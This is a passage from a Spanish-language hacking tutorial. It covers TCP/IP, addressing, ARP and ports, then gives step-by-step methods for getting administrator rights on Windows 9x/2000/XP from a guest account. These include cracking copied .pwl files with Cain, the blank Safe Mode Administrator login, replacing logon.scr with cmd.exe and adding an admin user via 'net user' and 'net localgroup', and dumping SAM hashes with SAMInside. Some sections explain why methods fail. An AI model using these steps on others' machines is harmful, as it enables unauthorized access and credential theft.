Ahora viene lo mejor, como acabamos de ver cada computadora tiene su propia direccion mac que es la que la distingue en la red de cada una de las demas, ¿Qué pasaria si nosotros hacemos creer a la computadora de al lado que nosotros tenemos la direccion mac del router? Si logramos hacer esto, la computadora de nuestro vecino nos enviaria a nosotros esa información importantisima antes de que le llegara a la computadora de destino, ¿apoco no suena interesante poder lograr hacer esto? Unos temas mas adelante explicare como realizar esto pero primero tenemos que comprender como es llevado a cabo este proceso desde abajo para poder aprovecharnos de el, y no convertirnos en unos scripts kiddies, me imagino que nadie quiere ser uno ¿verdad?

Como veran acabamos de ver como se empaquetan los datos antes de ser enviados a su destino pero si dijimos que cada capa "habla" con su igual en el host de destino ¿Cómo es que lo hacen?.

El siguiente dibujo muestra como es que se lleva a cabo el encapsulamiento y como se van agregando los encabezamientos que son los que nos ayudan para que cada capa se comunique con su igual:


Como se puede observar cada capa esta encima de la otra (por ello el nombre de pila TCP/IP).

Expliquemos a manera de ejemplo: supongamos que tenemos una aplicación corriendo en nuestro equipo por ejemplo nuestro navegador web el cual hace una peticion para ver una pagina web, pues bien, la capa de aplicación (que en este caso es nuestro navegador), le envia los datos a la capa que se encuentra en la parte de abajo la cual le agrega un encabezamiento (el encabezamiento de esta capa tambien es conocido como encabezamiento TCP), una vez hecho esto baja los datos a la capa inferior la cual es la capa de red para que posteriormente bajen los datos a ultima capa la cual asigna las direcciones de origen y de destino (recuerden que esto ya lo explique mas arriba). De esta forma al llegar el paquete al host de destino, lo toma primeramente la capa de red la cual le quita el encabezamiento respectivo a su capa y posteriormente se lo envia a la capa superior correcta, de esta forma los datos llegaran hasta la cima en la cual seran leidos los datos para su posterior respuesta, la cual descendera de la misma forma para que los datos o en este caso la pagina web sea enviada nuevamente al host que hizo la petición en su navegador web.


DIRECCION IP

Me imagino que ya muchos de ustedes habran escuchado dicho termino y algunos quizas buscaron informacion al respecto aunque quizas no, en esta sección veremos conceptos IP, asi como tambien unas cuantas diferencias en cuanto a las direcciones MAC que ya vimos un poco mas arriba.

Como ya mencionamos las direcciones MAC son agregadas al paquete justo cuando llega a la tarjeta de red para ser enviado hacia el otro host por medios "fisicos" por lo cual las direcciones MAC no saben absolutamente nada sobre las direcciones IP, encabezamiento IP, apesar de que ambas direcciones son agregadas a un paquete, una no sabe nada sobre la otra.

Ahora bien ¿Cuantos de nosotros sabemos nuestra direccion IP? quizas ahora muchos esten pensando cual sera la suya o quizas nunca se lo habian preguntado, quizas no debamos de tomarle mucha importancia a la direccion que poseemos en estos momentos sino a como es que se nos asigna dicha direccion y esto es ya que dependiendo de como nos conectemos a internet es que sera asignada nuestra direccion ip, siempre que nos conectamos directamente a internet tomamos una direccion ip prestada(ip publica) para esa sesion por parte de nuestro Proovedor de Servicios de Internet (conocido tambien como ISP), o tambien si nos conectamos a una red obtenemos una direccion ip (ip privada) por medio del Protocolo de Configuracion de Host Dinamica (conocido tambien como DHCP).
Y a todo esto ¿como es que funciona DHCP?
DHCP es un protocolo que nos permite una asignacion dinamica de ips evitando asi que cada computadora tenga que configurar su propia ip, este proceso reduce bastante el trabajo para un administrador de una red grande, ya que asigna direcciones a cada host por un determinado tiempo, de este modo siempre habra ips disponibles para cada equipo de la red, aunque tambien dificulta el trabajo para un administrador de seguridad cuando quiere averiguar quien fue el intruso o la persona que intento hacerse el listo en una red ya que dicho administrador tendra una direccion ip para acusar, pero si DHCP cambia constantemente las direcciones ip de cada host ya se imaginaran el lio que tendra que hacer para saber quien tenia esa ip en ese momento.

Existen dos tipos de direccion ip, las direcciones ip publicas y las direcciones ip privadas. De manera sencilla seria:
Las direcciones IP publicas son aquellas que pueden ser accesibles desde cualquier ordenador que poseea una conexión a internet.
Las direcciones IP privadas (o tambien llamadas ip reservadas), son aquellas que unicamente son visualizadas por equipos de su misma red o por alguna otra subred que este interconectandola por medio de un router.

Resumiendo diriamos que para podernos conectar a internet es necesario que tengamos una ip publica.
¿pero que pasa si nosotros tenemos una ip privada, no nos podemos conectar a internet?
En realidad el que nosotros tengamos una ip privada no quiere decir que no podremos tener acceso a internet, ya que en realidad lo podemos hacer por medio de una puerta de enlace, router o servidor de nuestra misma red que SI tenga una direccion ip publica, de este modo el router nos prestara su direcion ip publica para conectarnos a internet (por decirlo de manera sencilla).
Siempre que estamos conectados a internet por medio de una red, nuestro equipo obtiene una direccion ip publica que es muy diferente a nuestra direccion ip privada.
Esto es algo que quede muy en claro ya que muchas de las veces no sabemos distinguir entre una ip privada y una ip publica, asi de que recuerden que cuando estan dentro de una red y quieren acceder a Internet siempre lo hacen por medio de una puerta de enlace que generalmente es un router o un servidor, de esa forma su equipo le pide al router que acceda a tal o cual pagina y este lo hace de forma inmediata haciendo la petición a Internet y devolviendonos el resultado en nuestro navegador.

Quizas ahora muchos que estan conectados a internet leyendo esto por medio de una red esten sonriendo ya que ellos si saben su direccion ip publica, pero como yo soy un gran brujo voy a adivinar su ip publica (perdoname brujo por suplantarte xD).
Vamos por pasos, como todo buen mago requiero un poco de su ayuda, primero demos un click en el menu inicio, ahora en donde dice ejecutar, en la ventanita que les acaba de salir teclearemos cmd y presionaremos enter (si tienes windows 98 o 95 tendras que teclear command)... con esto se les debio de abrir una ventana con fondo oscuro y letras blancas igual que la que sale en las peliculas (ya se que muchos habran dicho, ese es el simbolo del sistema, aunque en realidad es la shell de su sistema operativo), ahora solo falta que tecleemos la palabra ipconfig.
Y en el apartado que dice direccion ip, que es la direccion ip de su equipo, les puedo casi apostar que dice algo asi como 192.168.1.xx o tambien 192.168.0.xx (hasta yo me doy miedo xD).
PUES NO ES VERDAD QUE ESA ES SU DIRECCION PUBLICA.
El comando ipconfig no nos muestra nuestra direccion ip publica en el caso en que estemos dentro de una red, sino que nos muestra nuestra direccion ip privada, la unica forma de hacer que este comando nos muestre nuestra direccion publica es cuando estamos conectados directamente a internet por ejemplo con nuestro modem.

Asi de que ya saben que esa direccion no es accesible desde internet, ya que me ha tocado bastante ver casos en los cuales sale una u otra persona pidiendo ayuda para hackear un ordenador diciendo:
– por favor quiero hackear la direccion 192.168.1.23 desde mi casa, o
– ya tengo la direccion de mi victima es 192.168.0.54 ¿ahora que hago yo desde mi casa para entrar en el?
– ¿por que cuando le hago un ping a la ip 192.168.0.1 no me responde, si yo se que esa es la ip de mi victima y ademas yo la veo conectada por el msn?
Si andan diciendo estas cosas lo mas seguro es que se burlen de ustedes, asi de que ya estan advertidos, es por ello que siempre es mejor ponerse a investigar un poco por su cuenta antes de andar haciendo preguntas de este tipo.

Otro punto muy importante a tener en cuenta a la hora de intentar hacer algo asi, es saber si la direccion que tenemos en nuestras manos es una direccion estatica o dinamica, las ips estaticas las poseen aquellos ordenadores que cada que se conectan a internet nunca cambian su direccion ip, caso contrario de las direccion dinamicas, las cuales cada que nos conectamos a internet nos cambian nuestra direccion ip.
¿por que pasa esto de que nuestros ISP's nos den ips dinamicas?
muy sencillo y esto es por que nuestros ISP tienen mas clientes que direcciones ip, con lo cual una direccion ip les puede servir para varios equipos en un mismo dia, ya que dudo mucho que todos los clientes se conecten exactamente a la misma hora, es por ello que las direcciones estaticas son mas costosas y generalmente solo las tienen los servidores de paginas web, ftp, correo, etc,(con la finalidad de que siempre los podamos ubicar en internet)

Entonces ¿Cuantas direcciones ip existen actualmente? para ser exactos existen 232, esto se debe a que la direccion ip esta compuestas por 4 bytes (o 32 bits) agrupados de forma A.B.C.D, si nos ponemos a ver cuanto es esto observaran que son mas de 4 billones de direcciones, esto es mucho aunque si a esto le agregamos que el crecimiento de internet en el mundo es bastante grande y ademas quitamos todas direcciones ip reservadas, podran ver que en realidad no son suficientes (ya se tiene una posible solucion para eso asi de que no se preocupen tanto y si gustan saber cual es, busquen informacion sobre ipv6).

Las IP's privadas o tambien llamadas "direcciones privadas reservadas" fueron nombradas asi debido a que son para uso exclusivo de las subredes y no para ser usadas en internet, todas ellas fueron establecidas por la Autoridad de Numeros de Direcciones en Internet (Internet Address Numbers Authority, IANA), como por ejemplo las IP's dentro del rango 192.168 y 172.16 son utilizadas en redes internas para asi dejar su direccion publica en otras funciones.

En la siguiente tabla se muestran las diferentes clases de direcciones IP:

CLASE IP INICIAL IP FINAL
A 0.0.0.0 127.255 255 255
B 128.0.0.0 191.255.255.255
C 192.0.0.0 223.255.255.255
D 224.0.0.0 239.255.255.255
E 240.0.0.0 247.255.255.255

Las direcciones de clase A,B y C son direcciones de un solo destinatrio, mientras que las de clase D son de multidifucion, esto es que si enviamos un paquete a cualquiera de las primeras clases solmente ellas lo recibiran, en cambio del de clase D son utilizadas para enviar la informacion a un grupo establecido de host.

Ahora que ya sabemos como esta conformada y asignada nuestra direccion IP y tambien nuestra direcion MAC es momento de ver otro protocolo llamado Protocolo de Resolucion de Direccion (Address Resolution Protocol, ARP), el cual nos permite traducir las direcciones MAC fisicas a direcciones IP logicas (ya veran lo divertido que puede ser cuando manipulamos tablas ARP a nuestro antojo).
Si nos ponemos a verlo detenidamente, en realidad ARP no es un protocolo en si, sino mas bien un proceso en el cual es enviada una trama Ethernet a todos los sistemas que conforman una red (llamado comunmente difusion), si existe un mensaje de difucion por parte de algun host, este es enviado a todo los miembros de la red; solo que hay que dejar en claro que ARP es exclusivo para hots que esten unidos localmente en la misma red, asi de que si alguien intenta hacer algo que conlleve ARP fuera de su propia red no lo podran hacer...
Primeramente el host de origen emite la peticion ARP, y de esta forma el host de destino la captura y responde con su direccion MAC, de tal forma el host de origen, destino y demas hosts que estuviesen a la escucha de dicha negociacion almacenaran (o haran cache dicho de otra forma) de la direccion IP junto con su respectiva direccion MAC de forma que asi se reducen las peticiones ARP dentro de una red, despues de pasado un tiempo en esa red ya no se haran mas peticiones ARP y la comunicación sera directamente entre direcciones MAC y no con direcciones IP.


MASCARAS DE SUBRED

Otro punto a tener en cuenta en una direcion IP es la mascara de subred la cual nos indica cuantos bits son asignados a la red y cuantos a la identificacion del host.
Cada bit de red esta enmascarado con un 1, por ejemplo, una red de clase A tiene 8 bits de red y 24 bits para el host, traduciendolo al sistema binario los 8 bits consecutivos (recordemos que tienen valor de 1) serian un 255 en decimal.
Por lo tanto su mascara de subred seria 255.0.0.0, en una de clase B seria 255.255.0.0 y en una de clase C 255.255.255.0 .
Quizas muchos piensen que es inecesario saber todo esto pero hay bastantes redes en las cuales los equipos no tienen la misma mascara de subred formando otra red interna dentro de misma red (dicho de manera sencilla).


PUERTOS

Este tema es un poco mas sencillo de explicar.
UDP y TCP tienen campos de numeros de puertos en la parte del encabezamiento de 16 bits, lo cual nos da como resultado 65,536 puertos diferentes asignados desde el 0 hasta el 65,535 para realizar nuestras negocicaciones con otros hosts.
Quizas esta explicacion no les quede muy clara a algunos asi de que lo ejemplificare de forma sencilla.
Para este ejemplo vamos a decir que si nuestra casa es el equivalente a un host, tambien debera de tener una direccion IP (en este caso seria nuestra calle, colonia, numero de casa, etc) y por lo tanto los puertos equivaldrian a las puertas y ventanas que tiene nuestra casa, de esta forma para poder entrar a nuestra casa tendran que usar nuestra puerta (imaginense una casa con 65,536 puertas y ventanas lo tentadora que seria para los ladrones).
De la misma forma para poder entrar o realizar una conexión con cualquier host tenemos que utilizar un puerto de cada host.
Ahora ya saben a lo que se refieren cuando dicen por alli que van a realizar un escaneo de puertos a una IP, en realidad lo que quiern hacer es saber que puertos estan abiertos, que puertos estan cerrados y si hay alguno abierto que servicios esta prestando por alli, por lo tanto encontrar un servicio vulnerable en un host seria como llegar a una casa que tiene la puerta abierta abierta y detras de la puerta abierta esta un guardia ciego (pues lo mas seguro es que nos aprovechemos de el para entrar a la casa xD).
Muchos puertos son utilizados de manera universal ¿a que me refiero con ello? sencillo, a que varios de ellos siempre tienen los mismos servicios corriendo detras, por ejemplo, FTP es un servicio que generalmente lo encontramos a la escucha en el puerto 21 TCP, pero nada nos puede detener si nosotros en lugar de utilizar el puerto 21 para FTP utilizamos el puerto 31337, de tal forma que si comprometemos una maquina y prestamos un servicio de FTP en ese puerto sera mas dificil para un administrador inexperto identificarlo como peligroso.
Algunos ejemplos de servicios en puertos comunes los podemos encontrar en el archivo services ubicado en /etc/services (esto es para los linuxeros).

Anteriormente los puertos inferiores al 1024 tenian un significado un tanto "especial" ya que eran puertos que solamente el usuario raiz podia utilizar (que seria el administrador en win y root en *nix) y por lo tanto eran de confianza, mientras qu los puertos superiores a este (o tambien llamados efimeros) los podia utilizar casi cualquier aplicación. Hoy en dia este sentido ya esta algo perdido pero aun por alli me ha tocado seguir escuchandolo.


PROTOCOLOS TCP , UDP Y ICMP

Muy bien, ahora que ya comprendimos lo que son los puertos vamos a definir unas cuantas diferencias entre las conexiones por puertos TCP y UDP.
El protocolo TCP como ya hemos mencionado anteriormente es un protocolo de comunicación "orientado a conexion", esto es que hace todo lo posible por verificar que los datos sean enviados completamente al destino, mientras que el protocolo UDP es todo lo contrario ya que nunca verifica que los datos hayan llegado al destino, quizas aquí ya muchos esten pensando:
– ¿Para que queremos tener dos protocolos de comunicación, uno que es fiable y otro que no lo es?
La respuesta es muy sencilla ya que no siempre requerimos que los datos hayan llegado completos al destino, como por ejemplo cuando escuchamos radio o vemos videos por medio de Internet, si existe una perdida de un segundo en nuestra cancion, no abra mucho problema ya que nuestro cerebro la podra comprender sin ningun inconveniente, en cambio si este tipo de actividad se realizara por medio de una conexión TCP, se volveria bastante mas lento ya que tendria que verificar que a todos los radioescuchas les llegara la cancion completa y si ha esto le sumamos que en ese momento estan escuchando esa estacion mas de 2000 radioescuchas... pues ni hablar.

Para remarcar un poco mas las diferencias entre estos dos protocolos veamos el siguiente cuadro:

Protocolo UDP Protocolo TCP
Es bastante rapido Mas lento
No es tan fiable Bastante fiable
Sin conexion Orientado a conexion
Optimizado para intranet Optimizado para Internet

Como se puede observar en la tabla, es protocolo UDP es mucho mas facil de comprender por que solo basta con tomar los datos, encapsularlos y mandarlos a la red. Del mismo modo el host de destino, toma los datos, los desmultiplexa y extrae el mensaje enviado, claro que muchas veces no llegan los datagramas completos al destino pero eso siempre importa.

¿Y si tenemos una aplicación que no toleraria una perdida de datos, como por ejemplo cuando queremos descargar una aplicación de internet?
Aquí es donde entra el protocolo TCP el cual tiene varios mecanismos para asegurarse de que la informacion llega completa al destino, uno de ellos es el "acuse de recibo".
El acuse de recibo (Acknowledgement, ACK) es una parte bastante importante en el protocolo TCP ya que es el encargado de decirle al host de origen cada que ha llegado un paquete en el host de destino, y si el host de origen nunca recibe el ACK de un paquete que envio simplemente lo vuelve a enviar y listo, con esto podran ver que TCP es mas lento que UDP, quizas se pueda optimizar un poco mas pero nunca sera mas rapido que UDP.

Otro protocolo que voy a explicar un poco mas es el Protocolo de Mensajes de Control de Internet (Internet Control Message Protocol, ICMP) es un conjunto ligero de aplicaciones creadas originalmente para la resolucion de problemas de red y para informar sobre condiciones de errores, el cual hoy en dia tambien es utilizado para otros fines.
La aplicación mas sencilla y mayormente conocida es la de peticion eco-respuesta eco (o tambien llamada ping), por lo pronto no pienso entrar en detalle con este protocolo pero lo hare en caso de que sea necesario mas delante.


zhyzura

CONTRASEÑAS DE WINDOWS

En este apartado explicare la mayoria de las formas que se conocen hasta ahora para sacar, borrar o crackear las contraseñas de los usuarios de windows (tambien mencionare los posibles fallos de dichas tecnicas, que como todo mas de alguna lo tendra), claro que me centrare en sacar la contraseña del administrador la cual nos da poder casi absoluto sobre nuestro sistema o en su defecto del sistema que hemos comprometido, asi de que espero se vayan preparando que este tema da para mas y mas que nada para conocer nuevas tecnicas de las cuales quizas nunca escuchamos.

Como muchos ya sabemos, las contraseñas de windows se encuentran almacenadas en el archivo SAM (esto es para los windows NT,XP y 2k) y en archivos PWL (en el caso de los Win9x).
No tengo intencion en ponerme a explicar cada metodo para sacar las contraseñas de win9x debido a la facilidad de ello asi como tambien a la inmensa cantidad de escritos que existen por la internet que lo explican detalladamente y ademas cabe decir que hoy en dia son muy pocas las computadoras que tienen instalado dicho sistema operativo, pero en fin, solo a manera de repaso aquí va una forma de hacerlo...


CONTRASEÑAS EN WIN9X

Como ya mencione anteriormente las contraseñas son almacenadas en archivos .pwl ubicados en dentro de la carpeta de windows, ¿pero que pasa si yo entro a dicha carpeta y me encuentro con una infinidad de archivos pwl como por ejemplo pepito.pwl papa.pwl mama.pwl etc etc?
Todos esos archivos son validos, lo que ocurre es que windows guarda las contraseñas de cada usuario en archivos individuales con el nombre de usuario seguido de la terminacion .pwl, solo que hay que tener en cuenta varios conceptos.
Anteriormente windows 9x se instalaba sobre particiones del tipo FAT32 y no sobre NTFS, si quieren saber que sistema de archivos tienen instalado en su computadora basta con que entren a "mi pc" y den clic derecho sobre su disco duro o unidad c: y después clic en el menú propiedades y a continuación les mostrara una ventana de este tipo:


La cual nos muestra en la parte superior sistema de archivos que en mi caso es NTFS.

Como muchos ya sabran las diferencias entre tener una particion FAT32 y una NTFS es la estructura con la cual nuestro disco duro almacena e indexa los datos(seria bastante conveniente que buscaran un poco de informacion al respecto sobre sistemas de archivos FAT32, NTFS, EXT2, etc) y una diferencia muy notable al momento de tener particiones de este tipo es que si existe un archivo con un nombre muy largo lo que hace es cortarlo para dejarlo solamente con 8 digitos, por lo tanto si existe un usuario con el nombre de administrador, nunca nos vamos a encontrar un archivo administrador.pwl sino que sera admini~1.pwl por lo tanto ya saben cual es el que tienen que copiar a su diskette.
La seguridad de win9x es tan admirable que si intentan copiar esos archivos mientras el sistema operativo este corriendo y ademas estan en una cuenta restringida simplemente SI los va a dejar copiarlos xD, cosa contraria a Windows XP, NT, 2k, asi de que no corren ningun riesgo al intentar sacarlos de la computadora para llevarselos a su casa y jugar con ellos un rato.
Ahora que ya tenemos el archivo pwl nos hace falta sacarles la contraseña ¿Cómo? Simplemente tomamos nuestro crackeador de pwl's favorito, en mi caso voy a utilizar Cain (es bastante bueno este programa lo pueden descargar de www.oxid.it no sera la primera vez que lo mencione).
Abrimos Cain y nos desplazamos hasta la pestaña de cracker, una vez alli en el apartado que se encuentra a nuestra izquierda seleccionamos PWL files, ahora nos vamos al menú File y damos clic donde dice "Add to list" una vez hecho esto nos aparecera una ventana que nos pedira la ubicación de nuestro archivo pwl, solo es cuestion de buscarlo y presionar abrir.
Ahora que ya nos aparecio en nuestro programa del Cain solo tenemos que dar clic derecho sobre el y elegir la opcion de crackeo que mas nos guste por ejemplo Dictionary Attack o Brute-Force Attack (recomiendo mas la segunda aunque en veces es un poco mas tardado), y ahora si solo nos falta esperar y obtendremos su password en texto plano en la parte derecha.

Como pudieron observar romper la seguridad de un Win9x es bastante facil y no implica problema alguno.

CONTRASEÑAS EN WINDOWS 2K,NT Y XP

ACCESO LOCAL

Como veremos en esta parte, existen bastantes metodos para obtener la contraseña del administrador de manera local, no me pondre a explicar todos los metodos existentes porque nunca voy a terminar con esto.
Antes de comenzar solo decir que existe una copia de respaldo de los archivos que contienen las contraseñas dentro de C:\Windows\Repair pero de nada nos serviran si nuestro administrador ya ha cambiado su contraseña(pero uno nunca sabe que tan despistados son nuestros administradores asi de que no esta por demas que primero les hechen un ojo a ver que sacan de alli).

ENTRAR EN MODO A PRUEBA DE FALLOS O MODO SEGURO

En lugar explicar este metodo como algo 100% efectivo, mejor voy a explicar en que se basa su funcionamento y por que no siempre es funcionable, a pesar de que en muchos foros he visto que explican este metodo como algo que siempre les va a funcionar esta vez me toco a mi desmentir este mito.

Para nuestro ejemplo vamos a utilizar un equipo el cual solo nos deja entrar como invitados, (logico que no podemos instalar nada).

En realidad existen dos metodos de efectuar esta operación:
El primer metodo consiste en reiniciar el equipo y justo antes de que nos salga la pantalla de Windows XP (eso es cuando aun estamos en la pantalla negra que es cuando termina de detectar nuestro hardware y empieza a cargar el sistema) presionamos la tecla F8 y nos aparecera un menú con varias opciones entre las cuales hay una que dice Modo Seguro (si no mal recuerdo en un windows 2000 dice Modo a prueba de fallos), una vez seleccionada esa opcion presionamos enter y esperamos hasta que aparezca la pantalla de Bienvenida, pero tremenda sorpresa nos llevamos cuando observamos que aparece otro nuevo usuario que no nos aparecia con anterioridad llamado Administrador damos un clic en ese nuevo usuario y Wala!!!!! Nos deja entrar sin pedirnos contraseña alguna y lo mejor de todo es que ahora no tenemos restricción alguna para cambiarle la contraseña a cualquier otro usuario, ya de aquí en delante solo queda a su imaginación lo que quieran hacer ya pueden entrar al panel de control y en la opcion de Cuentas de Usuario podemos crear inclusive un nuevo usuario con privilegios de administrador para lo podamos usar sin ningun problema al momento de iniciar Windows.

El segundo metodo es un poco mas sencillo, primero tenemos que iniciar nuestra computadora normalmente sin dar clic a F8 ni nada por el estilo.
En la pantalla de Bienvenida cuando nos aparecen los usuarios y debemos de dar clic a nuestra cuenta de invitado, en lugar de hacerlo presionamos la tecla Ctrl seguido de la tecla Alt y por ultimo sin soltar estas dos presionamos la tecla suprimir, después de eso soltamos las tres teclas y las presionamos nuevamente (en algunos teclados no aparece como suprimir sino como Delete).
Si presionaron las tres teclas dos veces continuas correctamente les debera de cambiar el aspecto de la pantalla con lo cual ya no les aparecen los usuarios de ese equipo y ahora solo hay una ventana que les pide un usuario y una contraseña, en la cual vamos a poner como nombre de usuario administrador (si esta en ingles su Windows deberan poner administrator) y en el espacio donde les pide la contraseña la dejan en blanco para después dar un clic en aceptar y wala! Ya los dejo entrar como todo un administrador s Windows.

Hay veces que en este segundo metodo les aparece una ventana diciendoles que existe una restricción para su cuenta de usuario y por lo tanto tendran que hacerlo reiniciando y entrando en modo seguro, esta restricción me ha tocado verla bastantes veces en equipos nuevos de la marca HP, claro que siempre y cuando nunca hayan formateado su equipo.

CONRAMEDIDAS PARA ESTE METODO

Pues si ha muchos de ustedes les ha funcionado este metodo me diran que no las tiene pero a mas de alguno no le funciono y les pidio tambien contraseña y quisiera imaginarme que les gustaria saber la razon por la cual no funciono a menos que sean unos script kiddies que nomas quieren joder a los demas y no entender de razones y por lo tanto no leeran estos parrafos.

En realidad este usuario misterioso que aparecio de la nada al momento de entrar en modo seguro y que se llamaba administrador, no es mas que el "verdadero administrador de Windows".
¿Qué quiero decir con esto?
Si ustedes son usuarios que ya han formateado su computadora con Windows XP y han puesto atención a las letras que les aparecen en cada ventana que requiere su intervención sabran que justo después de que Windows les pide el numero de su licencia para registrarlo, la ventana siguiente les pide en la parte inferior una contraseña para el administrador que en este caso es ese administrador que nos aparecio.
Asi de que si el dueño de esa computadora o la persona que se encargo de instalar Windows XP se preocupa un poco mas por la seguridad del equipo seguramente le coloco contraseña desde el momento de instalar Windows y es por eso que al momento de entrar en modo Seguro les pidio contraseña y no pudieron entrar.
Con esta explicación me imagino que ya sabran que este metodo no es nada fiable.




CONTROL USERPASSWORDS2

Este es otro metodo que me ha tocado ver por Internet y el cual afirman que es 100% fiable veamos que pasa.

Lo que tenemos que hacer es entrar a Windows con nuestra sesion.
Una vez dentro damos clic en inicio – ejecutar – y tecleamos control userpasswords2 y veremos como se abre una ventana de este tipo:




Aquí lo unico que tenemos que hacer es seleccionar el usuario administrador y dar un clic en el boton "Restablecer contraseña...", de este modo nos pedira que coloquemos una nueva contraseña con lo cual pondremos la que mas nos guste y ya podremos entrar sin mas ni mas a la maravillosa cuenta de administrador.


CONTRAMEDIDAS PARA ESTE METODO

Como suele suceder fue demasiado facil para ser verdad ¿no creen?.
Cabe decir que para poder ejecutar este comando con toda facilidad, el usuario con el cual lo hagan debera de contar con privilegios de administrador, por lo tanto desde la cuenta de invitado ¡NO LO PODRAN HACER!.
La verdad es que este metodo no tiene mas merito debido a que si podemos ejecutarlo entonces podemos hacer cualquier cosa en la computadora.



POR MEDIO DEL PROTECTOR DE PANTALLA

Este truco tambien me ha tocado verlo bastantes veces, veamos lo sencillo que es ejecutarlo.

Antes que nada entramos a Windows, ya una vez iniciada nuestra sesion entramos con el explorador de Windows hasta la carpeta C:\Windows\system32 (Recuerden que en W2000 seria WINNT en lugar de Windows), ya una vez dentro lo que vamos a hacer es mover el archivo Logon.scr a cualquier otro lugar, y vamos a hacer una copia de nuestro archivo cmd.exe ubicado en esa misma carpeta y lo vamos a pegar alli mismo solo que en lugar de dejarle el nombre de "Copia de cmd.exe" se la vamos a cambiar por Logon.scr, recuerden que por defecto Windows no nos deja ver las extensiones de nuestros archivos por lo tanto vamos a requerir habilitarlas.
Nos vamos al menú Herrmientas – Opciones de Carpeta y en la ventana que nos aparecio le damos clic a la pestaña ver, una vez alli nos desplazamos casi hasta el final y econtraremos una opcion que dice "Ocultar las extensiones de archivo para tipo de archivo conocido" la cual se encuentra seleccionada por defecto asi de que la vamos a des-seleccionar y damos clic en aceptar.
Ahora si ya podemos renombrar nuestro archivo a logon.scr sin ningun problema.
Solo nos resta esperar a que se active el protector de pantalla y en lugar de aparecer nuestro protector favorito, nos aparecera una shell de nuestro sistema operativo (recuerden que cmd.exe es tambien conocido como shell del sistema) y ahora si podremos agregar un nuevo usuario con privilegios de administrador, o agregarnos a nosotros mismos al grupo de administradores, solo basta con ejecutar:
Para agregar un usuario llamado zhyzura con contraseña kaka seria:
net user zhyzura kaka /add

Para agregar el usuario zhyzura al grupo de administradores seria:
net localgroup administradores zhyzura /add

Y listo ahora ya tenemos un nuevo usuario llamado zhyzura en el grupo de los administradores, solo nos hace falta cerrar nuestra sesion actual y después entrar en la que acabamos de crear.


CONTRAMEDIDAS PARA ESTE METODO

Cabe decir que este metodo a mi nunca me funciono, las pruebas las he realizado en Windows XP, Windows XP Service Pack 1 y Service Pack 2 ademas de tambien realizarlas en un Windows 2000 Profesional SP0, todos ellos con las particiones en NTFS.
Al momento de entrar a cualquiera de ellos con una cuenta restringida no permite borrar, eliminar o sobrescribir archivos ubicados en system32, la unica manera en la que se pueden renombrar satisfactoriamente y colocarlos dentro de system32 es entrando con la cuenta de administrador y aun asi inmediatamente sale una pantalla de advertencia pidiendo el disco de Windows XP por que detecta que archivos del sistema se han dañado.

Quizas ahora muchos mas de ustedes me digan que en realidad no era esperando a que iniciara el protector de pantalla sino que deberia de reiniciar el ordenador para que en lugar de aparecerme el login me aparezca una shell del sistema y desde alli agregarme al grupo de administradores. Cabe decir que esto tambien lo intente tanto en Windows 2000 como en XP Sp2 y no funciono.



SAMINSIDE

Antes de continuar quiero agregar otros conceptos muy importantes a tener en cuenta al momento de querer crackear la contraseña de un Windows NT, 2k y XP.

Como ya sabemos el archivo SAM ubicado en
CitarC:\Windows\system32\Config
es el encargado de almacenar las contraseñas de nuestros usuarios, pero resulta de que Microsoft quiso hacernos la vida un poco mas difícil y creo una utilidad llamada syskey, la cual brinda proteccion extra a nuestras contraseñas.
Una forma de habilitar esta proteccion es presionando inicio – ejecutar – y tecleando "syskey", de esta forma nos aparecera una ventana para activar dicha opcion.
Si nuestro equipo tiene habilitada dicha opcion, para poder sacar la contraseña del administrador no nos bastara con solo sacar el archivo SAM sino que tambien tendremos que obtener el archivo system ubicado en la misma carpeta, en caso de no estar esta proteccion habilitada solo necesitaremos el archivo SAM y podemos utilizar casi cualquier crackeador como por ejemplo Cain o L0phtCrack.
Ahora para terminar de amargarles el dia les voy a decir que esta opcion viene habilitada por defecto en Windows XP y a partir del Sp4 de Win 2000 tambien la encontraran habilitada por defecto.

Toca turno a esta poderosa herramienta que nos permitira dumpear las hashes de todos los usuarios para después crackearlos comodamente tanto con este mismo programa o pasarlos al L0phtCrack, LC4, LC5, o el que quieran SIN IMPORTAR QUE ESTEN FORTALECIDAS LAS CONTRASEÑAS CON SYSKEY.
Veamos que sencillo es hacerlo.

Primero a conseguirlo se ha dicho (ya saben google es la solucion), ya una vez que lo tengamos en nuestras manos procedmos a ejecutarlo, lo mejor de todo es que no necesita instalacion.
En la ventana que nos aparecera deberemos de dar clic en el siguiente boton para que nos aparezca un menú:



En el menú que nos aparecera seleccionamos la opcion que mas les guste ya que ambas funcionaran por igual y veremos como automaticamente nos apareceran todos los usuarios que tengan una cuenta en nuestro equipo:



Algo que me encanta de este programa es que si existe un usuario con un password bastante debil, automáticamente nos aparecera su contraseña sin necesidad de crackearla ademas de que tambien nos muestra la longitud de las contraseñas que contiene cada usuario (cada símbolo ? representa un carácter), de esta forma si existen varias cuentas con privilegios de administrador lo mejor sera que nos vayamos por la mas corta (que no necesariamente es la mas facil, pero casi siempre asi ocurre).

Ahora solo deberemos de seleccionar con una palomita los usuarios a los que les queramos crackear su contraseña, una vez hecho esto solo seleccionamos las opciones de crackeo que mas nos gusten dando clic en el siguiente boton:



Después presionamos F5 y a esperar se ha dicho.


CONTRAMEDIDAS PARA ESTE METODO

Pues este metodo les tengo dos noticias una buena y una mala.
La buena es que saminside utiliza un metodo que es conocido como inyeccion dll( me refiero sobre todo a la opcion que dice "import from local machine using LSASS") y mientras este metodo siga funcionando en Windows siempre se podra utilizar sin ningun inconveniente.
La mala es que para poder utilizar cualquiera de estos dos comandos se requieren privilegios de administrador al momento de utilizarlo.

DATAPOL CIA COMMANDER

Este metodo seguro ya es conocido por muchos de ustedes pero quizas son pocos los que lo han puesto en practica.

Lo primero que tenemos que hacer es conseguir el programa, aquí esta su web oficial:

http://www.datapol.de/en/index.htm

o tambien pueden buscarlo en su cliente P2P favorito.


Ahora que ya tenemos el programa lo instalamos y ejecutamos, con lo cual nos creara una carpeta nueva con el nombre de CIA Recovery Floppy GUI Setup a la cual entramos y ejecutamos su contenido para que después se abra una ventana como la siguiente, solo es cuestion de colocar un diskette dentro de la unidad A: y automáticamente lo creara.



Muy bien, ahora que ya tenemos nuestro diskette de inicio del CIA Commander vamos a ponernos manos a la obra.

Voy a explicar dos formas de utilizar este programa para nuestros fines, una forma sera simplemente eliminar la contraseña del administrador y de este modo entraremos sin necesidad de saber la contraseña y el otro metodo sera obtener la contraseña.





Eliminar o cambiar la contraseña del administrador

